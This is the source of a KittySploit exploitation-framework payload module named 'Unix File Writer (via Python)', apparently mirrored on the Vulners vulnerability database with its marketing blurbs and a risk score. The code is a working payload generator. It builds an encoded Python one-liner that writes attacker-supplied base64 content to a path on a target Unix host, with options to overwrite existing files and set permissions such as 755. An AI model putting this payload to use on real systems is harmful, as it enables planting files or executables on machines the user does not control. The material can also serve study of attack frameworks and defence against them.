Unix File Writer (via Python)
from kittysploit import *
class Module(Payload):
CLIENT_LANGUAGE = "python"
__info__ = {
'name': 'Unix File Writer (via Python)',
'description': 'Write base64-decoded content to a local file without opening a network connection',
'author': 'KittySploit Team',
'category': PayloadCategory.CMD,
'arch': Arch.PYTHON,
'platform': Platform.UNIX,
'listener': '',
'handler': '',
'session_type': ''
}
output_path = OptString('/tmp/kitty_payload.txt', 'File path to write on the target', True)
content_b64 = OptString('SGVsbG8gZnJvbSBLaXR0eVNwbG9pdAo=', 'Base64 content to write', True)
python_binary = OptString('python3', 'Python binary version', True)
overwrite = OptBool(False, 'Overwrite the destination if it already exists', False)
chmod = OptString('', 'Optional chmod mode after write, e.g. 600 or 755', False, True)
encoder = OptString('', 'Encoder', False, True)
def _build_script(self) -> str:
path = str(self.output_path)
content = str(self.content_b64).strip()
mode = 'wb' if self.overwrite else 'xb'
chmod = str(self.chmod).strip()
lines = [
"import base64,os,sys",
f"path={path!r}",
f"data=base64.b64decode({content!r})",
"parent=os.path.dirname(path)",
"if parent: os.makedirs(parent, exist_ok=True)",
f"with open(path,{mode!r}) as f: f.write(data)",
]
if chmod:
lines.append(f"os.chmod(path,int({chmod!r},8))")
lines.append("print('wrote %d bytes to %s' % (len(data), path))")
return "\n".join(lines) + "\n"
def get_python_script(self):
return self._build_script()
def generate(self):
script = self._build_script()
return self._encode_python_one_liner(script, self.python_binary)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
5.8Medium risk
Vulners AI Score5.8